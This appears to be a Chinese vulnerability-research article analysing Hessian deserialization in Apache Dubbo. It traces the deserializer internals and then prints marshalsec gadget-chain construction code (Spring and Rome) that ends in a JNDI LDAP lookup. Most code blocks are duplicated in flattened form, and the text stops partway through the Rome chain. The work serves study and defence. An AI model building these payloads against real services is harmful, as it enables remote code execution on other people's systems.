Hessian 反序列化及相关利用链

2020-11-02

作者：Longofo@知道创宇404实验室
时间：2020年2月20日
英文版本：https://paper.seebug.org/1137/

前不久有一个关于Apache Dubbo Http反序列化的漏洞，本来是一个正常功能（通过正常调用抓包即可验证确实是正常功能而不是非预期的Post），通过Post传输序列化数据进行远程调用，但是如果Post传递恶意的序列化数据就能进行恶意利用。Apache Dubbo还支持很多协议，例如Dubbo（Dubbo Hessian2）、Hessian（包括Hessian与Hessian2，这里的Hessian2与Dubbo Hessian2不是同一个）、Rmi、Http等。Apache Dubbo是远程调用框架，既然Http方式的远程调用传输了序列化的数据，那么其他协议也可能存在类似问题，例如Rmi、Hessian等。@pyn3rd师傅之前在twiter发了关于Apache Dubbo Hessian协议的反序列化利用，Apache Dubbo Hessian反序列化问题之前也被提到过，这篇文章里面讲到了Apache Dubbo Hessian存在反序列化被利用的问题，类似的还有Apache Dubbo Rmi反序列化问题。之前也没比较完整的去分析过一个反序列化组件处理流程，刚好趁这个机会看看Hessian序列化、反序列化过程，以及marshalsec工具中对于Hessian的几条利用链。

关于序列化/反序列化机制

序列化/反序列化机制（或者可以叫编组/解组机制，编组/解组比序列化/反序列化含义要广），参考marshalsec.pdf，可以将序列化/反序列化机制分大体分为两类：

基于Bean属性访问机制
基于Field机制

基于Bean属性访问机制

SnakeYAML
jYAML
YamlBeans
Apache Flex BlazeDS
Red5 IO AMF
Jackson
Castor
Java XMLDecoder
...

它们最基本的区别是如何在对象上设置属性值，它们有共同点，也有自己独有的不同处理方式。有的通过反射自动调用getter(xxx)和setter(xxx)访问对象属性，有的还需要调用默认Constructor，有的处理器（指的上面列出来的那些）在反序列化对象时，如果类对象的某些方法还满足自己设定的某些要求，也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时，例如某个对象的某个属性是Object、Interface、abstruct等类型，为了在反序列化时能完整恢复，需要写入具体的类型信息，这时候可以指定更多的类，在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。这种机制的攻击面比基于Field机制的攻击面大，因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。

基于Field机制

基于Field机制是通过特殊的native（native方法不是java代码实现的，所以不会像Bean机制那样调用getter、setter等更多的java方法）方法或反射（最后也是使用了native方式）直接对Field进行赋值操作的机制，不是通过getter、setter方式对属性赋值（下面某些处理器如果进行了特殊指定或配置也可支持Bean机制方式）。在ysoserial中的payload是基于原生Java Serialization，marshalsec支持多种，包括上面列出的和下面列出的。

Java Serialization
Kryo
Hessian
json-io
XStream
...

就对象进行的方法调用而言，基于字段的机制通常通常不构成攻击面。另外，许多集合、Map等类型无法使用它们运行时表示形式进行传输/存储（例如Map，在运行时存储是通过计算了对象的hashcode等信息，但是存储时是没有保存这些信息的），这意味着所有基于字段的编组器都会为某些类型捆绑定制转换器（例如Hessian中有专门的MapSerializer转换器）。这些转换器或其各自的目标类型通常必须调用攻击者提供的对象上的方法，例如Hessian中如果是反序列化map类型，会调用MapDeserializer处理map，期间map的put方法被调用，map的put方法又会计算被恢复对象的hash造成hashcode调用（这里对hashcode方法的调用就是前面说的必须调用攻击者提供的对象上的方法），根据实际情况，可能hashcode方法中还会触发后续的其他方法调用。

Hessian简介

Hessian是二进制的web service协议，官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用，区别是Hessian是二进制协议，Axis、XFire则是SOAP协议，所以从性能上说Hessian远优于后两者，并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象，集合了序列化/反序列化和RMI功能。本文主要讲解Hessian的序列化/反序列化。

下面做个简单测试下Hessian Serialization与Java Serialization：

//Student.java
import java.io.Serializable;

public class Student implements Serializable {
    private static final long serialVersionUID = 1L;
    private int id;
    private String name;
    private transient String gender;

    public int getId() {
        System.out.println("Student getId call");
        return id;
    }

    public void setId(int id) {
        System.out.println("Student setId call");
        this.id = id;
    }

    public String getName() {
        System.out.println("Student getName call");
        return name;
    }

    public void setName(String name) {
        System.out.println("Student setName call");
        this.name = name;
    }

    public String getGender() {
        System.out.println("Student getGender call");
        return gender;
    }

    public void setGender(String gender) {
        System.out.println("Student setGender call");
        this.gender = gender;
    }

    public Student() {
        System.out.println("Student default constractor call");
    }

    public Student(int id, String name, String gender) {
        this.id = id;
        this.name = name;
        this.gender = gender;
    }

    @Override
    public String toString() {
        return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")";
    }
}

//Student.java

import java.io.Serializable;

public class Student implements Serializable {

private static final long serialVersionUID = 1L;

private int id;

private String name;

private transient String gender;

public int getId() {

System.out.println("Student getId call");

return id;

}

public void setId(int id) {

System.out.println("Student setId call");

this.id = id;

}

public String getName() {

System.out.println("Student getName call");

return name;

}

public void setName(String name) {

System.out.println("Student setName call");

this.name = name;

}

public String getGender() {

System.out.println("Student getGender call");

return gender;

}

public void setGender(String gender) {

System.out.println("Student setGender call");

this.gender = gender;

}

public Student() {

System.out.println("Student default constractor call");

}

public Student(int id, String name, String gender) {

this.id = id;

this.name = name;

this.gender = gender;

}

@Override

public String toString() {

return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")";

}

//HJSerializationTest.java
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class HJSerializationTest {
    public static &lt;T> byte[] hserialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(os);
            output.writeObject(t);
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static &lt;T> T hdeserialize(byte[] data) {
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            HessianInput input = new HessianInput(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }

    public static &lt;T> byte[] jdkSerialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            ObjectOutputStream output = new ObjectOutputStream(os);
            output.writeObject(t);
            output.flush();
            output.close();
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static &lt;T> T jdkDeserialize(byte[] data) {
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            ObjectInputStream input = new ObjectInputStream(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }

    public static void main(String[] args) {
        Student stu = new Student(1, "hessian", "boy");

        long htime1 = System.currentTimeMillis();
        byte[] hdata = hserialize(stu);
        long htime2 = System.currentTimeMillis();
        System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time：" + (htime2 - htime1));

        long htime3 = System.currentTimeMillis();
        Student hstudent = hdeserialize(hdata);
        long htime4 = System.currentTimeMillis();
        System.out.println("hessian deserialize result：" + hstudent + "," + "cost time：" + (htime4 - htime3));
        System.out.println();

        long jtime1 = System.currentTimeMillis();
        byte[] jdata = jdkSerialize(stu);
        long jtime2 = System.currentTimeMillis();
        System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time：" + (jtime2 - jtime1));

        long jtime3 = System.currentTimeMillis();
        Student jstudent = jdkDeserialize(jdata);
        long jtime4 = System.currentTimeMillis();
        System.out.println("jdk deserialize result：" + jstudent + "," + "cost time：" + (jtime4 - jtime3));
    }
}

//HJSerializationTest.java

import com.caucho.hessian.io.HessianInput;

import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

public class HJSerializationTest {

public static <T> byte[] hserialize(T t) {

byte[] data = null;

try {

ByteArrayOutputStream os = new ByteArrayOutputStream();

HessianOutput output = new HessianOutput(os);

output.writeObject(t);

data = os.toByteArray();

} catch (Exception e) {

e.printStackTrace();

}

return data;

}

public static <T> T hdeserialize(byte[] data) {

if (data == null) {

return null;

}

Object result = null;

try {

ByteArrayInputStream is = new ByteArrayInputStream(data);

HessianInput input = new HessianInput(is);

result = input.readObject();

} catch (Exception e) {

e.printStackTrace();

}

return (T) result;

}

public static <T> byte[] jdkSerialize(T t) {

byte[] data = null;

try {

ByteArrayOutputStream os = new ByteArrayOutputStream();

ObjectOutputStream output = new ObjectOutputStream(os);

output.writeObject(t);

output.flush();

output.close();

data = os.toByteArray();

} catch (Exception e) {

e.printStackTrace();

}

return data;

}

public static <T> T jdkDeserialize(byte[] data) {

if (data == null) {

return null;

}

Object result = null;

try {

ByteArrayInputStream is = new ByteArrayInputStream(data);

ObjectInputStream input = new ObjectInputStream(is);

result = input.readObject();

} catch (Exception e) {

e.printStackTrace();

}

return (T) result;

}

public static void main(String[] args) {

Student stu = new Student(1, "hessian", "boy");

long htime1 = System.currentTimeMillis();

byte[] hdata = hserialize(stu);

long htime2 = System.currentTimeMillis();

System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time：" + (htime2 - htime1));

long htime3 = System.currentTimeMillis();

Student hstudent = hdeserialize(hdata);

long htime4 = System.currentTimeMillis();

System.out.println("hessian deserialize result：" + hstudent + "," + "cost time：" + (htime4 - htime3));

System.out.println();

long jtime1 = System.currentTimeMillis();

byte[] jdata = jdkSerialize(stu);

long jtime2 = System.currentTimeMillis();

System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time：" + (jtime2 - jtime1));

long jtime3 = System.currentTimeMillis();

Student jstudent = jdkDeserialize(jdata);

long jtime4 = System.currentTimeMillis();

System.out.println("jdk deserialize result：" + jstudent + "," + "cost time：" + (jtime4 - jtime3));

}

结果如下：

hessian serialize result length = 64,cost time：45
hessian deserialize result：Student(id=1,name=hessian,gender=null),cost time：3

jdk serialize result length = 100,cost time：5
jdk deserialize result：Student(id=1,name=hessian,gender=null),cost time：43

hessian serialize result length = 64,cost time：45

hessian deserialize result：Student(id=1,name=hessian,gender=null),cost time：3

jdk serialize result length = 100,cost time：5

jdk deserialize result：Student(id=1,name=hessian,gender=null),cost time：43

通过这个测试可以简单看出Hessian反序列化占用的空间比JDK反序列化结果小，Hessian序列化时间比JDK序列化耗时长，但Hessian反序列化很快。并且两者都是基于Field机制，没有调用getter、setter方法，同时反序列化时构造方法也没有被调用。

Hessian概念图

下面的是网络上对Hessian分析时常用的概念图，在新版中是整体也是这些结构，就直接拿来用了：

Serializer：序列化的接口
Deserializer ：反序列化的接口
AbstractHessianInput ：hessian自定义的输入流，提供对应的read各种类型的方法
AbstractHessianOutput ：hessian自定义的输出流，提供对应的write各种类型的方法
AbstractSerializerFactory
SerializerFactory ：Hessian序列化工厂的标准实现
ExtSerializerFactory：可以设置自定义的序列化机制，通过该Factory可以进行扩展
BeanSerializerFactory：对SerializerFactory的默认object的序列化机制进行强制指定，指定为使用BeanSerializer对object进行处理

Hessian Serializer/Derializer默认情况下实现了以下序列化/反序列化器，用户也可通过接口/抽象类自定义序列化/反序列化器：

序列化时会根据对象、属性不同类型选择对应的序列化其进行序列化；反序列化时也会根据对象、属性不同类型选择不同的反序列化器；每个类型序列化器中还有具体的FieldSerializer。这里注意下JavaSerializer/JavaDeserializer与BeanSerializer/BeanDeserializer，它们不是类型序列化/反序列化器，而是属于机制序列化/反序列化器：

JavaSerializer：通过反射获取所有bean的属性进行序列化，排除static和transient属性，对其他所有的属性进行递归序列化处理(比如属性本身是个对象)
BeanSerializer是遵循pojo bean的约定，扫描bean的所有方法，发现存在get和set方法的属性进行序列化，它并不直接直接操作所有的属性，比较温柔

Hessian反序列化过程

这里使用一个demo进行调试，在Student属性包含了String、int、List、Map、Object类型的属性，添加了各属性setter、getter方法，还有readResovle、finalize、toString、hashCode方法，并在每个方法中进行了输出，方便观察。虽然不会覆盖Hessian所有逻辑，不过能大概看到它的面貌：

//people.java
public class People {
    int id;
    String name;

    public int getId() {
        System.out.println("Student getId call");
        return id;
    }

    public void setId(int id) {
        System.out.println("Student setId call");
        this.id = id;
    }

    public String getName() {
        System.out.println("Student getName call");
        return name;
    }

    public void setName(String name) {
        System.out.println("Student setName call");
        this.name = name;
    }
}

//people.java

public class People {

int id;

String name;

public int getId() {

System.out.println("Student getId call");

return id;

}

public void setId(int id) {

System.out.println("Student setId call");

this.id = id;

}

public String getName() {

System.out.println("Student getName call");

return name;

}

public void setName(String name) {

System.out.println("Student setName call");

this.name = name;

}

//Student.java
public class Student extends People implements Serializable {
    private static final long serialVersionUID = 1L;

    private static Student student = new Student(111, "xxx", "ggg");
    private transient String gender;
    private Map&lt;String, Class&lt;Object>> innerMap;
    private List&lt;Student> friends;

    public void setFriends(List&lt;Student> friends) {
        System.out.println("Student setFriends call");
        this.friends = friends;
    }

    public void getFriends(List&lt;Student> friends) {
        System.out.println("Student getFriends call");
        this.friends = friends;
    }


    public Map getInnerMap() {
        System.out.println("Student getInnerMap call");
        return innerMap;
    }

    public void setInnerMap(Map innerMap) {
        System.out.println("Student setInnerMap call");
        this.innerMap = innerMap;
    }

    public String getGender() {
        System.out.println("Student getGender call");
        return gender;
    }

    public void setGender(String gender) {
        System.out.println("Student setGender call");
        this.gender = gender;
    }

    public Student() {
        System.out.println("Student default constructor call");
    }

    public Student(int id, String name, String gender) {
        System.out.println("Student custom constructor call");
        this.id = id;
        this.name = name;
        this.gender = gender;
    }

    private void readObject(ObjectInputStream ObjectInputStream) {
        System.out.println("Student readObject call");
    }

    private Object readResolve() {
        System.out.println("Student readResolve call");

        return student;
    }

    @Override
    public int hashCode() {
        System.out.println("Student hashCode call");
        return super.hashCode();
    }

    @Override
    protected void finalize() throws Throwable {
        System.out.println("Student finalize call");

        super.finalize();
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", innerMap=" + innerMap +
                ", friends=" + friends +
                '}';
    }
}

//Student.java

public class Student extends People implements Serializable {

private static final long serialVersionUID = 1L;

private static Student student = new Student(111, "xxx", "ggg");

private transient String gender;

private Map<String, Class<Object>> innerMap;

private List<Student> friends;

public void setFriends(List<Student> friends) {

System.out.println("Student setFriends call");

this.friends = friends;

}

public void getFriends(List<Student> friends) {

System.out.println("Student getFriends call");

this.friends = friends;

}

public Map getInnerMap() {

System.out.println("Student getInnerMap call");

return innerMap;

}

public void setInnerMap(Map innerMap) {

System.out.println("Student setInnerMap call");

this.innerMap = innerMap;

}

public String getGender() {

System.out.println("Student getGender call");

return gender;

}

public void setGender(String gender) {

System.out.println("Student setGender call");

this.gender = gender;

}

public Student() {

System.out.println("Student default constructor call");

}

public Student(int id, String name, String gender) {

System.out.println("Student custom constructor call");

this.id = id;

this.name = name;

this.gender = gender;

}

private void readObject(ObjectInputStream ObjectInputStream) {

System.out.println("Student readObject call");

}

private Object readResolve() {

System.out.println("Student readResolve call");

return student;

}

@Override

public int hashCode() {

System.out.println("Student hashCode call");

return super.hashCode();

}

@Override

protected void finalize() throws Throwable {

System.out.println("Student finalize call");

super.finalize();

}

@Override

public String toString() {

return "Student{" +

"id=" + id +

", name='" + name + '\'' +

", gender='" + gender + '\'' +

", innerMap=" + innerMap +

", friends=" + friends +

'}';

}

//SerialTest.java
public class SerialTest {

    public static &lt;T> byte[] serialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(os);
            output.writeObject(t);
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static &lt;T> T deserialize(byte[] data) {
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            HessianInput input = new HessianInput(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }

    public static void main(String[] args) {
        int id = 111;
        String name = "hessian";
        String gender = "boy";

        Map innerMap = new HashMap&lt;String, Class&lt;Object>>();
        innerMap.put("1", ObjectInputStream.class);
        innerMap.put("2", SQLData.class);

        Student friend = new Student(222, "hessian1", "boy");
        List friends = new ArrayList&lt;Student>();
        friends.add(friend);

        Student stu = new Student();
        stu.setId(id);
        stu.setName(name);
        stu.setGender(gender);
        stu.setInnerMap(innerMap);
        stu.setFriends(friends);

        System.out.println("---------------hessian serialize----------------");
        byte[] obj = serialize(stu);
        System.out.println(new String(obj));

        System.out.println("---------------hessian deserialize--------------");
        Student student = deserialize(obj);
        System.out.println(student);
    }
}

//SerialTest.java

public class SerialTest {

public static <T> byte[] serialize(T t) {

byte[] data = null;

try {

ByteArrayOutputStream os = new ByteArrayOutputStream();

HessianOutput output = new HessianOutput(os);

output.writeObject(t);

data = os.toByteArray();

} catch (Exception e) {

e.printStackTrace();

}

return data;

}

public static <T> T deserialize(byte[] data) {

if (data == null) {

return null;

}

Object result = null;

try {

ByteArrayInputStream is = new ByteArrayInputStream(data);

HessianInput input = new HessianInput(is);

result = input.readObject();

} catch (Exception e) {

e.printStackTrace();

}

return (T) result;

}

public static void main(String[] args) {

int id = 111;

String name = "hessian";

String gender = "boy";

Map innerMap = new HashMap<String, Class<Object>>();

innerMap.put("1", ObjectInputStream.class);

innerMap.put("2", SQLData.class);

Student friend = new Student(222, "hessian1", "boy");

List friends = new ArrayList<Student>();

friends.add(friend);

Student stu = new Student();

stu.setId(id);

stu.setName(name);

stu.setGender(gender);

stu.setInnerMap(innerMap);

stu.setFriends(friends);

System.out.println("---------------hessian serialize----------------");

byte[] obj = serialize(stu);

System.out.println(new String(obj));

System.out.println("---------------hessian deserialize--------------");

Student student = deserialize(obj);

System.out.println(student);

}

下面是对上面这个demo进行调试后画出的Hessian在反序列化时处理的大致面貌（图片看不清，可以点这个链接查看）：

下面通过在调试到某些关键位置具体说明。

获取目标类型反序列化器

首先进入HessianInput.readObject()，读取tag类型标识符，由于Hessian序列化时将结果处理成了Map，所以第一个tag总是M(ascii 77)：

在case 77这个处理中，读取了要反序列化的类型，接着调用this._serializerFactory.readMap(in,type)进行处理，默认情况下serializerFactory使用的Hessian标准实现SerializerFactory：

先获取该类型对应的Deserializer，接着调用对应Deserializer.readMap(in)进行处理，看下如何获取对应的Derserializer：

第一个红框中主要是判断在_cacheTypeDeserializerMap中是否缓存了该类型的反序列化器；第二个红框中主要是判断是否在_staticTypeMap中缓存了该类型反序列化器，_staticTypeMap主要存储的是基本类型与对应的反序列化器；第三个红框中判断是否是数组类型，如果是的话则进入数组类型处理；第四个获取该类型对应的Class，进入this.getDeserializer(Class)再获取该类对应的Deserializer，本例进入的是第四个：

这里再次判断了是否在缓存中，不过这次是使用的_cacheDeserializerMap，它的类型是ConcurrentHashMap，之前是_cacheTypeDeserializerMap，类型是HashMap，这里可能是为了解决多线程中获取的问题。本例进入的是第二个this.loadDeserializer(Class)：

第一个红框中是遍历用户自己设置的SerializerFactory，并尝试从每一个工厂中获取该类型对应的Deserializer；第二个红框中尝试从上下文工厂获取该类型对应的Deserializer；第三个红框尝试创建上下文工厂，并尝试获取该类型自定义Deserializer，并且该类型对应的Deserializer需要是类似xxxHessianDeserializer，xxx表示该类型类名；第四个红框依次判断，如果匹配不上，则使用getDefaultDeserializer(Class)，本例进入的是第四个：

_isEnableUnsafeSerializer默认是为true的，这个值的确定首先是根据sun.misc.Unsafe的theUnsafe字段是否为空决定，而sun.misc.Unsafe的theUnsafe字段默认在静态代码块中初始化了并且不为空，所以为true；接着还会根据系统属性com.caucho.hessian.unsafe是否为false，如果为false则忽略由sun.misc.Unsafe确定的值，但是系统属性com.caucho.hessian.unsafe默认为null，所以不会替换刚才的ture结果。因此，_isEnableUnsafeSerializer的值默认为true，所以上图默认就是使用的UnsafeDeserializer，进入它的构造方法。

获取目标类型各属性反序列化器

在这里获取了该类型所有属性并确定了对应得FieldDeserializer，还判断了该类型的类中是否存在ReadResolve()方法，先看类型属性与FieldDeserializer如何确定：

获取该类型以及所有父类的属性，依次确定对应属性的FIeldDeserializer，并且属性不能是transient、static修饰的属性。下面就是依次确定对应属性的FieldDeserializer了，在UnsafeDeserializer中自定义了一些FieldDeserializer。

判断目标类型是否定义了readResolve()方法

接着上面的UnsafeDeserializer构造器中，还会判断该类型的类中是否有readResolve()方法：

通过遍历该类中所有方法，判断是否存在readResolve()方法。

好了，后面基本都是原路返回获取到的Deserializer，本例中该类使用的是UnsafeDeserializer，然后回到SerializerFactory.readMap(in,type)中，调用UnsafeDeserializer.readMap(in)：

至此，获取到了本例中com.longofo.deserialize.Student类的反序列化器UnsafeDeserializer，以各字段对应的FieldSerializer，同时在Student类中定义了readResolve()方法，所以获取到了该类的readResolve()方法。

为目标类型分配对象

接下来为目标类型分配了一个对象：

通过_unsafe.allocateInstance(classType)分配该类的一个实例，该方法是一个sun.misc.Unsafe中的native方法，为该类分配一个实例对象不会触发构造器的调用，这个对象的各属性现在也只是赋予了JDK默认值。

目标类型对象属性值的恢复

接下来就是恢复目标类型对象的属性值：

进入循环，先调用in.readObject()从输入流中获取属性名称，接着从之前确定好的this._fieldMap中匹配该属性对应的FieldDeserizlizer，然后调用匹配上的FieldDeserializer进行处理。本例中进行了序列化的属性有innerMap（Map类型）、name（String类型）、id（int类型）、friends（List类型），这里以innerMap这个属性恢复为例。

以InnerMap属性恢复为例

innerMap对应的FieldDeserializer为UnsafeDeserializer$ObjectFieldDeserializer：

首先调用in.readObject(fieldClassType)从输入流中获取该属性值，接着调用了_unsafe.putObject这个位于sun.misc.Unsafe中的native方法，并且不会触发getter、setter方法的调用。这里看下in.readObject(fieldClassType)具体如何处理的：

这里Map类型使用的是MapDeserializer，对应的调用MapDeserializer.readMap(in)方法来恢复一个Map对象：

注意这里的几个判断，如果是Map接口类型则使用HashMap，如果是SortedMap类型则使用TreeMap，其他Map则会调用对应的默认构造器，本例中由于是Map接口类型，使用的是HashMap。接下来经典的场景就来了，先使用in.readObject()（这个过程和之前的类似，就不重复了）恢复了序列化数据中Map的key，value对象，接着调用了map.put(key,value)，这里是HashMap，在HashMap的put方法会调用hash(key)触发key对象的key.hashCode()方法，在put方法中还会调用putVal，putVal又会调用key对象的key.equals(obj)方法。处理完所有key，value后，返回到UnsafeDeserializer$ObjectFieldDeserializer中：

使用native方法_unsafe.putObject完成对象的innerMap属性赋值。

Hessian的几条利用链分析

在marshalsec工具中，提供了对于Hessian反序列化可利用的几条链：

Rome
XBean
Resin
SpringPartiallyComparableAdvisorHolder
SpringAbstractBeanFactoryPointcutAdvisor

下面分析其中的两条Rome和SpringPartiallyComparableAdvisorHolder，Rome是通过HashMap.put->key.hashCode触发，SpringPartiallyComparableAdvisorHolder是通过HashMap.put->key.equals触发。其他几个也是类似的，要么利用hashCode、要么利用equals。

SpringPartiallyComparableAdvisorHolder

在marshalsec中有所有对应的Gadget Test，很方便：

这里将Hessian对SpringPartiallyComparableAdvisorHolder这条利用链提取出来看得比较清晰些：

String jndiUrl = "ldap://localhost:1389/obj";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);

//反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用，会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

//反序列化时AspectJAroundAdvice.getOrder会被调用，会触发BeanFactoryAspectInstanceFactory.getOrder
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", jndiUrl);

//反序列化时AspectJPointcutAdvisor.getOrder会被调用，会触发AspectJAroundAdvice.getOrder
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);

//反序列化时PartiallyComparableAdvisorHolder.toString会被调用，会触发AspectJPointcutAdvisor.getOrder
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);

//反序列化时Xstring.equals会被调用，会触发PartiallyComparableAdvisorHolder.toString
Class&lt;?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);

//反序列化时HotSwappableTargetSource.equals会被调用，触发Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));

//反序列化时HashMap.putVal会被调用，触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值，直接put会在本地触发利用链，所以使用marshalsec使用了比较特殊的处理方式。

String jndiUrl = "ldap://localhost:1389/obj";

SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();

bf.setShareableResources(jndiUrl);

//反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用，会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup

Reflections.setFieldValue(bf, "logger", new NoOpLog());

Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

//反序列化时AspectJAroundAdvice.getOrder会被调用，会触发BeanFactoryAspectInstanceFactory.getOrder

AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);

Reflections.setFieldValue(aif, "beanFactory", bf);

Reflections.setFieldValue(aif, "name", jndiUrl);

//反序列化时AspectJPointcutAdvisor.getOrder会被调用，会触发AspectJAroundAdvice.getOrder

AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);

Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);

//反序列化时PartiallyComparableAdvisorHolder.toString会被调用，会触发AspectJPointcutAdvisor.getOrder

AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);

Reflections.setFieldValue(advisor, "advice", advice);

//反序列化时Xstring.equals会被调用，会触发PartiallyComparableAdvisorHolder.toString

Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");

Object pcah = Reflections.createWithoutConstructor(pcahCl);

Reflections.setFieldValue(pcah, "advisor", advisor);

//反序列化时HotSwappableTargetSource.equals会被调用，触发Xstring.equals

HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);

HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));

//反序列化时HashMap.putVal会被调用，触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值，直接put会在本地触发利用链，所以使用marshalsec使用了比较特殊的处理方式。

HashMap&lt;Object, Object> s = new HashMap&lt;>();
Reflections.setFieldValue(s, "size", 2);
Class&lt;?> nodeC;
try {
    nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
    nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor&lt;?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);

HashMap<Object, Object> s = new HashMap<>();

Reflections.setFieldValue(s, "size", 2);

Class<?> nodeC;

try {

nodeC = Class.forName("java.util.HashMap$Node");

}

catch ( ClassNotFoundException e ) {

nodeC = Class.forName("java.util.HashMap$Entry");

}

Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);

Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

Reflections.setFieldValue(s, "table", tbl);

看以下触发流程：

经过HessianInput.readObject()，到了MapDeserializer.readMap(in)进行处理Map类型属性，这里触发了HashMap.put(key,value)：

HashMap.put有调用了HashMap.putVal方法，第二次put时会触发key.equals(k)方法：

此时key与k分别如下，都是HotSwappableTargetSource对象：

进入HotSwappableTargetSource.equals：

在HotSwappableTargetSource.equals中又触发了各自target.equals方法，也就是XString.equals(PartiallyComparableAdvisorHolder)：

在这里触发了PartiallyComparableAdvisorHolder.toString：

发了AspectJPointcutAdvisor.getOrder：

触发了AspectJAroundAdvice.getOrder：

这里又触发了BeanFactoryAspectInstanceFactory.getOrder：

又触发了SimpleJndiBeanFactory.getTYpe->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup->Context.lookup：

Rome

Rome相对来说触发过程简单些：

同样将利用链提取出来：

//反序列化时ToStringBean.toString()会被调用，触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
String jndiUrl = "ldap://localhost:1389/obj";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");

//反序列化时EqualsBean.beanHashCode会被调用，触发ToStringBean.toString
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);

